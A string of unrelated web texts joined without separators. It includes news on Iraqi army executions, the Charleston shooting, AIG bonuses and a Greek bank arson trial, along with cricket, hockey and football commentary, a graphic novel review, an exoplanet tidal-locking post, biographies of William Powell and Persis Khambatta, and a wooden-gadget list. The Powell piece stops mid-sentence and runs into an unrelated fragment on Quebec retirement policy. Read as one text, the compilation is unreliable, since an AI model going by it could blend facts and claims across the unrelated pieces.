“Given the widespread abuses by Iraqi forces and the government’s abysmal record on accountability, the US should take a hard look at its involvement with Iraqi forces,” said Sarah Leah Whitson, Middle East director at Human Rights Watch.
Iraq has promised to investigate previous accusations of abuses and hold perpetrators to account.
The observers cited by HRW said they had seen a group of Iraqi soldiers who identified themselves as members of the 16th Division lead four naked men down an alleyway, after which they heard multiple gunshots. They were told by other soldiers that the four men were ISIS fighters.
As they were leaving the area, one of the observers saw the bodies of a number of naked men lying in a doorway, one of whom appeared to have been handcuffed and had a rope tied around his legs.
The 16th Division has also been implicated in other executions.
In a separate incident, two soldiers from the same unit showed an observer at least 25 bodies lying on mounds of rubble along the Tigris, and bragged that these were ISIS fighters whom they and their fellow soldiers had executed.
“The US military should find out why a force that it trained and supported is committing ghastly war crimes,” Whitson said. “US taxpayer dollars should be helping to curtail abuses, not enable them.”
Agencies
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Join our Weekly NewsletterAustralia cavorted home to another relatively easy win in the second One Day International against India at Brisbane on Friday. It was virtually identical to their victory in the first game at Perth and the hosts now have a prominent 2-0 lead in the five-match series. India’s failure to capitalise in the final ten overs of their innings, along with sloppy fielding, were what cost them the game.
Comfortably placed at 233-2 at the end of 40 overs, India looked set for a score of about 330+. The ever-evolving game, played at a pace like never before, has seen many aspects of the game have revolutionised. The rate at which runs are being scored in death overs are mind boggling. Gone are the days of seven or eight an over being acceptable at the death. Nowadays ten an over seems to be the minimum, especially in conditions like those at The Gabba.
The pitch was nothing short of a belter and it offered absolutely nothing for the fast bowlers and spinners alike. The ball was coming nicely onto the bat, and the two batsmen, Rohit Sharma and Ajinkya Rahane, who were well settled, had a great opportunity to put their team into a winning position. India failed to get a move on and when they attempted to do so, they lost wickets in a heap and ended on 308, about 30 runs short of par on that wicket.
A disconcertingly similar thing occurred in the previous ODI in Perth as well. India made 309 on that occasion and once again weren’t aggressive enough in the middle and death overs. On pitches where the Australian bowlers themselves are struggling to pick up wickets, the tourists need to take a serious initiative and take more risks whilst batting.
The lack of a designated finisher, someone like a James Faulkner or Glenn Maxwell, is hurting India big time. Mahendra Singh Dhoni is no longer the flawless finisher he was. He can produce the occasional moment of magic, but in the last one or two years, these have been few and far between.
Suresh Raina, who hasn’t had the best of times since the 2015 World Cup, was omitted from the ODI leg of this tour and was playing the finisher’s role to various degrees of success before that. India need to give an opportunity to someone who can play aggressively right from the word go, and a few names that come to mind are Gurkeerat Mann and Hardik Pandya.
Mann is in the ODI squad and it’s high time that he is drafted into the team. Shikhar Dhawan has been in wretched form of late and will be the candidate to make way for Mann with Rahane sent up to open the batting. Hardik Pandya is in the T20 squad following his exploits with the bat and ball in the domestic circuit and the IPL and deserves an opportunity to show his prowess in those T20 games later this month. India have too many touch players like Rahane, Rohit and Kohli and there is a chance that one of those two could prove to be the answer for their finishing woes.
The other aspect where India failed was, perhaps surprisingly, in the field. Over the last few years, India have been one of the best fielding sides around and their errors in these two games sorely cost them. Little things like Dhoni not being quick enough to the stumps when there is a throw coming in or even missing the stumps while attempting to effect a run out could prove to make a huge difference. Moreover, the catching in the second ODI was quite poor. Shaun Marsh lived a charmed life and was dropped on 19, 25 and 67.
Although you can’t blame the bowlers for fielding errors, they are expected to maintain discipline and keep probing the batsmen with consistent lines and lengths. The newcomer, Barinder Sran, has impressed one and all, including the likes of Wasim Akram and Brett Lee, but it’s not right to expect him to do wonders from the start.
Ishant Sharma, who was playing his first ODI in nearly a year, bowled an appalling eight wides and dropped the easiest of catches at long-off to give Marsh his first reprieve. Umesh Yadav, the most impressive bowler in the first ODI, was inconsistent in the second match and gave away too many runs to the batsmen off their pads. Although they weren’t too impressive in the first ODI, the spinners did well to anchor the bowling performance on an unresponsive pitch.
Only if India work on these things can they make a serious effort to make a comeback in this series, and just as importantly in the long-term, put in better performances. MS Dhoni has got his work cut out ahead of the remaining matches in Australia.Robot Dreams
Graphic Novel
Ages 7 and up
By Sara Varon
208 pages
First Second
2007
Though I have categorized this book for ages seven and up, I happen to know at least one three year old who requests this book often. Because Robot Dreams is nearly wordless (and completely without dialogue), children and adults alike can create their own dialogue, their own narrative.
The story takes place over the course of one year and is broken up by month, so parents reading to children can treat it as a chapter book and break it up over several sessions. Sharing a wordless book with a child can be an excellent opportunity to hear their perspective. How do they interpret the action in the art? How does that compare to what the adult sees? Every time a wordless book is opened a new story can be told, because there are no words to limit the narrator.
A tale of friendships—some are fleeting, others long lasting—Robot Dreams is funny, and sometimes heart breaking. Varon’s characters are expressive and appealing. Her art is clean and uncluttered and her palette is muted yet colorful. The complete package makes for a charming and heartwarming book.
This first page contains one panel; a dog is dropping an envelope into a mailbox. In the next spread a package is delivered and the, now happy, Dog begins assembling a robot. Robot seems to share Dog’s interests and the two become fast friends.
Sadly, a trip to the beach proves tragic. Dog convinces Robot to play with him in the water, which causes Robot to seize up. The beach is closing and Dog must abandon his friend; Robot cannot move and Dog cannot carry him. The disheartened Dog walks off.
As Robot lies on the beach, he dreams of his day with Dog. In the dream version, Robot passes on the swim and instead reads on the beach while Dog frolics in the waves. Back home Dog dreams of his friend alone on the beach. Dog goes to the library and checks out a robot repair manual. He then heads back to the beach to rescue his friend, but the beach is closed for the season.
Despite the setbacks with Robot, Dog is determined to make new friends. While flying a kite in the park he meets a helpful duck. The two have some great times together but Duck and his family soon fly south for the winter, leaving Dog alone again. Then he befriends a pair of anteaters, but they clearly do not share the same interests.
As winter arrives Dog decides to make a friend out of snow. Dog and Snowman enjoy some outdoor activities but Snowman doesn’t survive the warming spring temperatures. All the while, Dog thinks of his old friend Robot.
Back on the beach, the dispirited Robot loses a leg to some seafaring bunnies needing to repair their boat. He has dreams of escaping the beach, only to find a happy Dog who has moved on without him. He dreams of being picked up by a seagull, and dropped onto a fluffy cloud, and riding a snowflake back down to the beach.
Robot dreams of leaving the beach, of making new friends. Come spring, Robot is discovered by a beachcomber and is turned in for cash at scrap yard. A raccoon working to repair a radio purchases Robot’s remaining parts.
Dog returns to the re-opened beach to rescue his old friend, but it’s too late. After much searching he finds only the part of Robot’s leg that was discarded by the bunnies. The dejected Dog decides to build another robot. This time things will be different. When the two friends head to the beach together, Dog prevents another tragedy by making sure his new friend remains on the sand.
In the final few spreads Robot, now part radio, spots Dog outside walking with his new robot friend. Robot is happy in his new home but sentimental, or maybe sad, about seeing his former friend. He watches the happy pair walk on, raises his antennae, and turns on his radio to share his music.
The final, single paneled page shows Dog happily whistling the tune that Robot has shared.
Robot Dreams is an amazing tale of friendship and loss, of mistakes and regrets, and of letting go and moving on.
View on Powell’s
View on AmazonAs news of Dylann Roof's longstanding and deeply rooted racist beliefs began to filter through the media yesterday, many of the Republican candidates for president nevertheless denied that race was the motivating factor. Taking their cues from Fox News, Rick Santorum and Lindsey Graham speculated that Roof was a "whacked out" opponent of "religious liberty," just one of many "people out there looking for Christians to kill them."
Early Friday morning, CNN reported that a source close to the investigation said that Roof had confessed to police that he chose the historically black Emanuel African Methodist Episcopal Church because he wanted to start a race war. That statement is consonant with what a survivor told Sylvia Jones yesterday -- that Roof had said that African-Americans have "raped our [white] women, and you are taking over the country. I have to do what I have to do."
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And yet, despite the abundance of evidence that Roof's attack was racially motivated, GOP presidential front-runner Jeb Bush told attendees at a Faith and Freedom Coalition summit in Washington today that he doesn't "know what was on the mind or the heart of the man who committed these atrocious crimes."
According to Talking Points Memo's Tierney Sneed, Bush followed Santorum and Graham's lead and focused on the fact that Roof decided to stage the opening salvo of his race war at a church. (The fact that it's a historically black one is, we must assume, beside the point.) Bush later claimed that while Roof is completely opaque to him, he does know "what was in the heart of [Roof's] victims."
"They were praying. They were learning and studying the word of the Lord," he said. "In times like these, in times of great of national mourning, people of faith, all of us must come together and at least reflect on this and fortify our strength and love of Christ, love of God to be able to continue to go forth."
The Huffington Post's politics reporter Laura Bassett asked him point blank about the racial component of the Charleston massacre:
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For their part, both Democratic candidates have addressed the racial animus that motivated Roof, Clinton in a speech yesterday and Senator Bernie Sanders on Twitter today:
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[embedtweet id="611539529070178304"](CNN) -- Sir Elton John is a father. The boy was born on Christmas Day. And he shall be Levon. Or, more accurately, Zachary Jackson Levon Furnish-John, the singer's publicist said late Monday.
"We are overwhelmed with happiness and joy at this very special moment," John and his long-time partner, David Furnish, said in a statement. "Zachary is healthy and doing really well, and we are very proud and happy parents."
John and Furnish formalized their relationship in a much-publicized civil partnership ceremony in 2005 after 12 years together. The ceremony was held at the Windsor Guildhall -- the same venue where Britain's Prince of Wales and Camilla Parker Bowles married. John has a residence in Windsor, outside of London.
The baby was born in California via a surrogate, according to Fran Curtis, a representative for the couple. Curtis said she would not discuss the details of the surrogacy arrangements.
Like his namesake in John's early 1970s hit "Levon," the baby boy was born on Christmas Day and weighed 7 pounds, 15 ounces, Curtis said.
In addition to "Levon," where the couple apparently snatched one of the baby's middle names, other classic John songs are likely to take on new meaning, such as "I Guess That's Why they Call It The (Baby) Blues" and "I'm Still Standing" for the toddler years.
CNN's KJ Matthews contributed to this report.Pope Francis says women should be ‘forgiven’ for the ‘great sin’ of abortion (Picture: AP)
Pope Francis said that women who’ve had abortions can be forgiven for the ‘great sin’.
The pope is allowing all priests to absolve women who’ve terminated pregnancies, though the language used will anger those who feel a woman should have autonomy over her own body.
In the Apostolic Letter released by the Vatican, Pope Francis wrote: ‘There is no sin that God’s mercy cannot reach and wipe away when it finds a repentant heart seeking to be reconciled [with God].’
Although while offering forgiveness, he added: ‘I wish to restate as firmly as I can that abortion is a grave sin, since it puts an end to an innocent life.’
He did not reference abortion in cases of rape, incest or pregnancies which put the mother’s life at risk, nor did he mention, you know, men’s role in pregnancy.
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MORE: #Repealthe8th: You need to read this woman’s powerful story about Ireland’s abortion law
Demonstrators take part in a protest to urge the Irish Government to repeal the 8th amendment which enforces strict limitations to a woman’s right to an abortion, in Dublin, Ireland September 24, 2016 (Picture: Reuters)
Because the Roman Catholic Church holds abortion to be such a serious sin, it had long put the matter of granting forgiveness for it in the hands of a bishop, who could either hear the woman’s confession himself or delegate that to a priest who was expert in such situations.
In 2015, Francis had said he was allowing all rank-and-file priests to grant absolution for an abortion for the duration of the Holy Year, which ran from December 8 2015 until November 20 2016.
By now letting all priests absolve the sin of abortion on a permanent basis following the end of the Holy Year, Francis is further applying his vision of a merciful church to those women who, as he has written in the past, felt they had no choice but to make an ‘agonising and painful decision’.
Polish women and some male supporters blow horns while raising a hanger, the symbol of illegal abortion, during a nationwide strike and demonstration to protest a legislative proposal for a total ban on abortion in Warsaw, Poland, Monday, Oct. 3, 2016 (Picture: AP)
‘May every priest, therefore, be a guide, support and comfort to penitents on this journey of special reconciliation’ for faithful who had abortions, Francis wrote.
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He explained his rationale, saying: ‘Lest any obstacle arise between the request for reconciliation and God’s forgiveness, I henceforth grant to all priests, in virtue of their ministry, the faculty to absolve those who have committed the sin of procured abortion.
‘The provision I had made in this regard, limited to the duration of the Extraordinary Holy Year, is hereby extended, notwithstanding anything to the contrary.’I guess we’ll stick with the unofficial theme of the week: bad coaches! Today, Chuck Pagano.
Want to know something absurd? The Indianapolis Colts would be 9-2 right now if games ended at halftime. They are 3-8. I went back and looked at every box score so far, treating the Colts winning at halftime as a victory. I knew it would change the record, but I didn’t even realize how much. The Colts have only not led at halftime 3 times this whole season. Two were blowout losses to the Rams and Jags (Both good teams), and one was a tie with the Browns, which they eventually won. One of the hallmarks of a good coach has always been halftime adjustments. Can you maintain a lead? Chuck Pagano treats leads like how normal people treat spiders when they see one crawling on them. I’m partially convinced that the 3 games they have won are like open wounds to Chuck. Those were games he could have given up!
Obviously the Colts have a lot of problems outside Chuck but it’s pretty clear Pagano has to go. Even Pagano doesn’t seem interested anymore, instead giving weird press conferences. He’s been a dead man walking all season and he can’t use the Andrew Luck injury excuse anymore, he already used that card before. They should have let him go when they let Grigson walk. I can’t remember the last time a team fired a GM but kept the head coach and things worked out. I’m sure it’s happened, and feel free to name them in the comments, but every example I can think of didn’t work and usually just felt like the coach was a dead man the whole time. Almost like the new GMs keep these coaches on as a scapegoat for when the first season rebuild looks bad.
Chucky got a pass for a while because of the cancer thing and he still deserves credit as a person for getting through that. But he’s clearly not head coach material, at least not in Indy. His biggest legacy at this point is probably helping waste Andrew Luck’s career. Did he have anything to do with starting Deflategate? That might be a notch on the ol’ resume too. It eventually got Brady suspended and irreparably damaged that season for the Patri…oh wait. Nevermind. Remember when one of the best years of his tenure was actually the one where Bruce Arians was the coach? Man, what a legacy.
Chuck at least will probably get another coordinator job after he gets fired, unlike Ben McAdoo, who will work at Taco bell, and will bench the Doritos Locos Tacos.
Also, if you want to hear me be mad at the Giants some more, PODCASTSeeking to avoid the public furor that erupted last spring, the American International Group has been quietly seeking approval from the new federal compensation czar to pay a total of $2.4 million dollars in bonuses to dozens of its senior executives.
Officials at the embattled insurance company, which has received more than $170 billion in taxpayer money, have sought meetings with Kenneth Feinberg, the pay czar, to review the payments for 40 of its highest ranking employees, according to individuals briefed on the matter.
Mr. Feinberg has been tasked with approving the pay for the 100 highest paid employees, but he also can also weigh in on other matters if a company requests.
A.I.G. executives want to make sure that Mr. Feinberg is comfortable with the company’s compensation program and hoped to work with him to address any shortfalls, according to a person briefed on the situation. The insurance giant does not actually need his permission. But by obtaining Mr. Feinberg’s blessing, the company would also have the political cover to shield it from criticism.
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The move also allows the Treasury Department to wash its hands of any problems stemming from any role it had in setting pay.News is fast and furious as we near the final hour in the lead up to the 2016 NHL Entry Draft in Buffalo, New York. The Vancouver Canucks have connected themselves to nearly every marquee name that may or may not be available and that says nothing of the whirlwind rumours swirling around them.
The paradigm is slowly shifting to the draft itself, though, and the players that teams are aiming to select therein. Or even better still, whether teams are willing to retain their picks or jockey position in the hope of landing higher quality or quantity of selections.
According to one of my sources, the Canucks are active in these discussions as well. Though the price to move up to third overall has already been written off as prohibitive, it’s sounding like the Canucks are very seriously considering moving down from fifth overall.
Vancouver covets two players in this draft above anyone else likely to fall to them at fifth. At the top of that list is Pierre-Luc Dubois of the Cape Breton Screaming Eagles. Not far behind Dubois is Olli Juolevi of the London Knights.
The thinking, according to my source, is that if the Canucks can’t secure the former of those two, they will do everything in their power to maximize their value with fifth overall and secure a selection later in the top ten of the draft. Though the Canucks think Juolevi is the best defenceman in this draft, it is believed that they regard Mikhail Sergachyov of the Windsor Spitfires in a similar light and are willing to draft him should they find themselves without access to the Finnish stud defenceman.
So if Dubois isn’t available to the Canucks at fifth overall, expect them to — at the very least — make a concerted effort to trade down with any of the teams sitting between sixth and tenth overall. From that point, it sounds as though they are likely to select Juolevi. And if Juolevi isn’t available to them, they will be just as happy to select Sergachyov.
As with anything draft related, things are remarkably fluid at this point and subject to change by the time you’ve finished reading this piece. That said, the belief is that the Canucks are going to try to secure, at the very least, a high second-round selection from any team trying to overtake them in the draft for fifth overall.
Under these circumstances, the Canucks would secure value exceeding what they could reasonably expect by retaining fifth overall. Using the draft value data provided by Michael Shuckers, the Canucks will secure a higher expected value from a deal that falls under the auspices.
Fifth Overall Draft Value: 741 Points
Sixth and Thirty-Sixth Overall: 919 Points
Seventh and Thirty-Seventh Overall: 878 Points
Eight and Thirty-Eighth Overall: 840 Points
Ninth and Thirty-Ninth Overall: 805 Points
Tenth and Fortieth Overall: 773 Points
These values are largely generalisations, but provide a rough composite value of what the Canucks can expect by executing a trade similar to the one they’re currently entertaining. Regardless, securing Juolevi or Sergachyov along with an extra pick would be excellent value for fifth overall. Frankly, I wouldn’t consider either of the defenceman a reach at fifth."I’m not happy about the hurt I caused. But I feel authentic now," says Humans of New York's latest subject.
Coming Out Later In Life: “It Was Wrenching… It Was The End Of Our Marriage”
Throughout the course of his Humans of New York series, Brandon Stanton has exposed many facets of the LGBT community—from sharing the importance of marriage equality to losing a lover to AIDS.
This week, Stanton profiled a man who shared how he came out as gay after being married to a woman for many years and raising four children with her.
“When the last kid left for college, it came to a point where it was just pretense, and I couldn’t hide it anymore,” says the unnamed subject. “I was tired of worrying if people suspected, or if they’d find out, or if they’d still care about me if they knew.”
He calls coming out to his wife “wrenching” and the end of their marriage.
“I just kept telling her I was sorry. I think she felt abandoned. And I’m sorry for that. I also think she felt that our life together was a lie.”
He views their time together differently.
“We were a family. We had four wonderful children that we raised to adulthood. And those are facts. I’m not happy about the hurt I caused. But I feel authentic now. I regret the things I did, but I’m so happy about what I’ve done.”
We don’t know a lot about this man, but its obvious he’s older, and came of age when forging an authentic life as an out gay man was an option few could conceive of. Some did, of course, and there are those who would chastise him for pulling his wife and children into the closet with him, no matter when it was.
The commenters on Facebook were mostly compassionate, though some did feel for his ex.
“I think she deserved to have a husband who would choose commitment over lust,” wrote one.
“I’m glad you’re being true to yourself, but to your wife, it probably was living a lie,” responded another. “She thought she had a husband who was attracted to her and built a life on that, when in fact that is not actually the case. As a woman who’s been lied to, I feel for her. Immensely. I just wish you’d been a little braver a lot sooner, for her sake.”
One woman revealed her parents were in the very same bind.
“Luckily they have been able to focus on the good that they had, including our extended family, and have remained friends. While it was hard at first, both my parents are living their authentic lives now and are happy.”
It’s interesting, though, how quickly we are to judge someone in his situation for “living a lie,” when thousands of people get married every year to people they know they’re not deeply in love with.
The reasons are myriad—security, companionship, social pressure, even a baby on the way.
And when those marriages fall apart, we don’t interrogate the partners about what was in their hearts or accuse them of ruining someone’s life. We just accept that sometimes we make wrong choices and try to learn from them.
Below, members of the LGBT community discuss the unique struggle of coming out later in life.A Tidally Locked ‘Earth’?
Whether or not life can emerge on the planets of red dwarf stars remains an unknown, though upcoming technologies should help us learn more through the study of planetary atmospheres. Tidal locking always comes up in such discussions, an issue I always thought to be fairly recent, but now I learn that it has quite a pedigree. In a new paper from Rory Barnes, I learn that astronomers in the late 19th Century had concluded (erroneously) that Venus was tidally locked, and there followed a debate about the impact of synchronous rotation on surface conditions.
As witness astronomer N. W. Mumford, who in 1909 questioned whether tidal friction wouldn’t reduce half of Venus to a desert and annihilate all life there. Or E. V. Heward, who speculated that life could emerge on Venus despite tidal lock, and wrote in a 1903 issue of MacMillan’s Magazine:
…that between the two separate regions of perpetual night and day there must lie a wide zone of subdued rose-flushed twilight, where the climatic conditions may be well suited to the existence of a race of intelligent beings.
In terms of exoplanets, as Barnes (University of Washington) points out, Stephen Dole was writing about tidal interactions between exoplanets and their host stars in his book Habitable Planets for Man as early as 1964. It was his view, based upon his own calculations, that all potentially habitable planets orbiting stars smaller than 72% of the Sun’s mass would be in synchronous rotation, circling the star just as the Moon does our Earth.
Image: Tidally locked bodies such as the Earth and Moon are in synchronous rotation, each taking as long to rotate around its own axis as it does to revolve around its host star or gravitational partner. New research from UW astronomer Rory Barnes indicates that many exoplanets to be found by coming high-powered telescopes also will probably be tidally locked — with one side permanently facing their host star, as one side of the Moon forever faces the Earth. Credit: NASA.
That would make tidal lock ubiquitous, given the high percentage of stars that are red dwarfs. The work since, beginning with James Kasting in the early 1990s and carrying through until today, has looked at how planets come into synchronous rotation, and just how this situation would affect planetary conditions. We’ve seen a shift from pessimism — such planets could not be habitable — to relative optimism, as new climate models emerged and were adjusted. Barnes’ paper gives all the particulars in a rather fascinating overview of the scholarship.
A brief look through the archives here will show that Barnes’ name comes up frequently and often on matters of tidal effects, giving him an expertise that draws my attention whenever he publishes something new on the matter. The latest paper takes a systematic look at tidal locking to arrive at the conclusion that many exoplanets — and not just those orbiting close to red dwarf stars — will be found to be tidally locked. For it turns out that earlier models used a rapidly rotating early Earth to delve into how a similar exoplanet might become tidally locked.
What Barnes did was to consider the possibility of different initial rotation periods, both slower and faster, examining conditions on planets of different sizes, including those in eccentric orbits. Widening the parameter space suggested that more exoplanets than we once thought could be tidally locked. If Earth had formed with no Moon and its initial rotation period was four days, Barnes’ calculations show one model in which it is tidally locked to the Sun by this point in its evolution. Tidal locking, then, may be a major factor in our analysis of planetary habitability.
Let me quote from the paper:
As astronomers develop technologies to directly image potentially habitable planets orbiting FGK dwarfs (e.g. Dalcanton et al. 2015), they must be prepared for the possibility that planets orbiting any of them may be tidally locked. Such a rotation state can change planetary climate, and by extension the reflected spectra. 3D models of synchronously rotating habitable planets should be applied to planets orbiting K and G dwarfs in addition to Ms. While not explicitly considered here, habitable worlds orbiting brown dwarfs and white dwarfs are even more likely to be synchronous rotators, but their potential habitability is further complicated by the luminosity evolution of the central body (Barnes and Heller 2013).
Thus we extend the quantitative assessment of tidal lock and its effects on habitability to G- and K-class stars as well as M-dwarfs. As the paper notes, “…a systematic survey of the rotational evolution of potentially habitable exoplanets using classic equilibrium tide theories has not been undertaken.”
And it has implications. We are setting about putting assets like the Transiting Exoplanet Survey Satellite (TESS), the James Webb Space Telescope (JWST) and Planetary Transits and Oscillations of stars (PLATO) into space. At the same time, we are working on Earth-based telescopes with apertures in the tens of meters. Our first targets for atmospheric characterization are going to be planets orbiting close to their host star, in the ‘habitable zone’ (or as we said yesterday, ‘temperate zone’) of the host.
The role of tidal locking is thus a crucial factor. Proxima Centauri b is most likely tidally locked, and the worlds around the highly interesting TRAPPIST-1 most likely are as well. We should learn a great deal by studying planetary rotation rates for any temperate exoplanets we find, which should give us clues as to their tidal evolution. Indeed, Barnes simulates the planets the TESS mission will examine and finds that the vast majority of these become tidally locked within a billion years, while about half the isolated (i.e., with no planetary companions) and potentially habitable Kepler candidates could be locked, assuming tidal properties like Earth’s.
A UW news release quotes Barnes on the significance of the findings:
“These results suggest that the process of tidal locking is a major factor in the evolution of most of the potentially habitable exoplanets to be discovered in the near future… I think the biggest implication going forward is that as we search for life on any exoplanets we need to know if a planet is tidally locked or not.”
The paper is Barnes, “Tidal Locking of Habitable Exoplanets,” accepted at Celestial Mechanics and Dynamical Astronomy (preprint). See also this key reference: Kasting et al., “Habitable Zones around Main Sequence Stars,” Icarus Vol. 101, Issue 1 (January, 1993), pp. 108-128 (abstract).When African American pilot, engineer, and entrepreneur William Powell was a young adult, even the skies were segregated. Many would-be African American pilots, such as first licensed African American pilot Bessie Coleman, were forced to go to France for pilot training and licenses issued by the Fédération Aéronautique Internationale. According to a June 12, 2012 article in the online publication, Air Facts, in 1934 there were only 12 African Americans out of 18,041 pilots in the U.S., and out of 8,651 licensed mechanics, just two were African Americans. Airlines wouldn’t even allow African Americans as passengers. Powell set out to change that, becoming one of the most extraordinary figures in the Golden Age of Flight (1920s and 1930s) in the process. Only an early death brought his career as an aviation pioneer to an end.
Born in 1897, Powell grew up in a middle-class African American neighborhood in Chicago. He was a talented student working toward an electrical engineering degree at the University of Illinois when World War I broke out. He enlisted in the U.S. Army, and served as a lieutenant in the racially segregated 317th Engineers and the 365th Infantry Regiment. He returned home after being exposed to poison gas and finished his engineering degree.
William J. Powell wearing his United States Army uniform and long coat during World War I. Image: Smithsonian National Air and Space Museum (NASM 2000-10698).
Doing so wouldn’t be easy. Flight school after flight school rejected him because of his race. He tried enlisting in the Army Air Corps, but was also turned down. He could have gone to France to train, but preferred getting licensed in his own country. Finally, in 1928 he was accepted at a flight school in Los Angeles, whose students were a mix of nationalities from across the globe. He sold his businesses, moved |
, almost exactly what Quebec is doing.
Yes, we live in a country where an idea from a continent far away gets more traction than the same idea in our second-largest province.
Tyler Meredith is a research director at the Institute for Research on Public Policy in Montreal, and author of a new report on how to renew Canada’s retirement income systemPersis Khambatta (2 October 1948 – 18 August 1998) was an Indian model, actress and author.[1] She was known for her role as Lieutenant Ilia in the feature film Star Trek: The Motion Picture (1979).
Early life [ edit ]
Persis Khambatta was born in Mumbai (then known as Bombay).[2] Her father left her family when she was two years old.[3] She first gained fame when a set of her pictures casually taken by a well-known Bombay photographer[who?] was used for a successful campaign for a popular soap brand. This eventually led to her becoming a model. She entered and won the Femina Miss India contest in 1965. She was the second winner of Femina Miss India and third Indian woman to participate in the Miss Universe pageant. At the Femina Miss India contest, she also won the Miss Photogenic award.[4]
Career [ edit ]
Khambatta's first appearance at age 13 in advertisements for the soap brand Rexona set her on her way to becoming a popular model. At age 17, as Femina Miss India, Khambatta entered Miss Universe 1965, dressed in off-the-rack clothes she bought at the last minute. She became a model for companies such as Air India, Revlon, and Garden Vareli.
Khambatta made her Hollywood début in director K. A. Abbas's Bambai Raat Ki Bahon Mein (1968),[5] playing cabaret singer Lily who croons the film's title track. She had small roles in Conduct Unbecoming and The Wilby Conspiracy (both 1975). She went on to have a brief movie career that included the role for which she is most recognized, the bald Deltan navigator Lieutenant Ilia, in Star Trek: The Motion Picture (1979). She shaved her head for the role. She was originally signed to play the role for five years, as the intention was to create a new Star Trek television series. Khambatta said that she was thrilled when the project became a movie instead, because it would have greater impact on her career, but she also recognised that she had lost five years' work.[6] Khambatta became the first Indian citizen to present an Academy Award in 1980. She was nominated for Saturn Award for Best Actress for her role in Star Trek. This led to roles in Nighthawks (1981), Megaforce (1982), Warrior of the Lost World (1983), and She-Wolves of the Wasteland (1988). She was considered for the title role in the James Bond film Octopussy (1983), but was passed over in favor of Maud Adams.
In 1980, Khambatta was seriously injured in a car crash in Germany, which left a huge scar on her head. In 1983, she underwent coronary bypass surgery. She returned to Bombay in 1985, and appeared in the Hindi television series Shingora opposite Aditya Pancholi and Marc Zuber. Soon after, Khambatta returned to Hollywood and performed in guest roles on various television series such as Mike Hammer and MacGyver. In 1997, she wrote and published a coffee table book, Pride of India, which featured several former Miss India winners. The book was dedicated to Mother Teresa, and part of the royalties went to the Missionaries of Charity. Her final appearance in an acting role was that of Chair of the Congress of Nations in the 1993 pilot episode of Lois and Clark: The New Adventures of Superman.
Personal life [ edit ]
She married Hollywood actor Cliff Taylor only weeks after meeting him in June 1981. Two months later they filed for divorce.[7]
Death and legacy [ edit ]
In 1983, Khambatta underwent coronary bypass surgery. In 1998, Khambatta was taken to the Marine Hospital in south Bombay, complaining of chest pains, and she died of a massive heart attack on 18 August 1998 at the age of 49 but shortly before her 50th birthday.[8] Her funeral was held in Bombay the following day.[8]
In 1999, the Persis Khambatta Memorial Award was created to honour Khambatta's memory. With a scholarship and trophy depicting her in her role in Star Trek, the award is awarded annually to the top graduating student of the National Institute of Fashion Technology. To date, 19 awards have been presented. The award was designed and funded by Sanjeev Chowdhury, former Vice-Consul of Canada at the Canadian Consulate in Mumbai, who was Khambatta's best friend and the last to dine with her prior to her death.
Filmography [ edit ]
Film [ edit ]
Television [ edit ]
Notes [ edit ]
References [ edit ]Top Design Wooden Gadgets
As technology continues on its upward trajectory, designers occasionally grow nostalgic for simpler forms. Consumers also want the basic aesthetics of yesterday, without sacrificing the technological advances of today. One way to get the best of both worlds is wood-based electronics. Whether for the eco-minded, who prefer it to non-biodegradable plastic, or for pure classicists who are charmed by its timelessness, the wooden form is at once visually striking and practical. Better examples we’ve come across recently.
Collection of creative gadgets and product designs made out of wood.
Wooden iPod Dock
Eco-friendly Apple iPod dock made from salvaged materials. [link]
Magno Wooden Radio
The Magno radio is the brainchild of Indonesian entrepreneur Singgih Kartono. Handmade by local carpenters from sustainably-harvested wood, it comes in two sizes (pictured above). In addition to AM and FM frequencies, Kartono satisfies the true retro-philes with two bands of shortwave radio. He also bows to modern conventions by including MP3 compatibility. It’s currently available with the small version costing $200 and the larger $250.
Wooden Camera MP3 Player
Handmade wooden MP3 players can play MP3, WMA and OGG files. [link]
Swedx
Since 2002, this Swedish company has been producing electronics embedded in polished wood. They claim to bring a “more human” feeling by using warm, natural materials on their computer monitors, television screens and accessories. But despite the unconventional material, they didn’t skimp on technology. Their engineers designed one of the world’s thinnest TFT-LCD monitors and didn’t sacrifice on usability. Swedx products cost are close to the industry standard.
Wooden LED clock
This LED clock, designed by Kouji Iwasaki, is covered in a very thin layer of veneer that permits the LEDs to shine through. [link]
Solid Wood Stapler
Standard stapler with a natural wood exterior. [link]
Wooden Laptop Case
Creative laptop case with magnetic lock and leather lining. [link]
Wooden Computer Mouse
This wooden mouse is handmade from Chinese flowering ash. [link]
Wooden Computer Keyboard
Keyboard from Japanese electronics company Marubeni Infotec. [link]
Wood Plinth Clock
Clock made from a slice of natural wood with a clear lacquer finish. [link]
Wooden Bicycle
Marco Facciola, a 16-year-old high school student, created a functional bicycle from wood. [link]
iWood Cobra iPhone Case
Wooden iPhone case carved from one piece of the finest wood. [link]
Split Wood Vase
Creative vase designed by Japanese design collective Teori. [link]
Wooden Speakers
Korea’s I-Dear speakers can hook up to your favorite media player. [link]
Wooden Tape Measure
This useful tape measure is created from beautiful dark wood and is small enough to fit in any handbag. [link]
Wooden Clamp USB Flash Drive
USB flash drive designed to look like a regular wooden clamp. [link]
Plywood Headphones
David Burel’s headphones made of nine layers of varnished plywood. [link]
Wooden Gun Ruler
Unusual hard wood ruler that is shaped like a handgun. [link]
WALL-E Wooden Sculpture
This wooden sculpture was commissioned by Disney as a gift for Pixar/Disney chief creative officer John Lasseter. [link]
Treebuttons Magnets
Wood magnets made from salvaged cross sections of branches. [link]
Maple Cell Phone Concept
Hyun Jin Yoon and Eun Hak Lee designed a cell phone concept covered in thin wooden film, with touch sensitive buttons that light up through the housing when you touch the phone. [link]
Audiowood Turntable
Custom turntable by Joel Scilley made from a raw-edged wood. [link]Image caption Three people in their thirties died in the attack
Three bank officials in Greece have been given jail sentences of up to 10 years for failing to protect the lives of staff during a fatal arson attack by anti-austerity protesters in May 2010.
Three Marfin Bank staff members died in the attack on a central Athens branch, including a pregnant woman.
No-one has yet been convicted of causing the fire.
The Marfin branch had refused to allow staff to leave early, unlike other banks in the area.
The arson attack remains one of the most tragic moments of Greece's financial crisis, BBC Athens correspondent Mark Lowen reports.
Youths threw firebombs into the bank during a protest, starting the fatal fire.
The prime minister at the time, George Papandreou said it was a "raw, murderous act" while President Carolos Papoulias declared his country had "reached the edge of the abyss".
Suspended terms
The trial in Athens heard that the defendants had failed to take adequate measures to protect their staff, especially given that the branch had been attacked before. The defendants could have "predicted and prevented the outcome," the court heard.
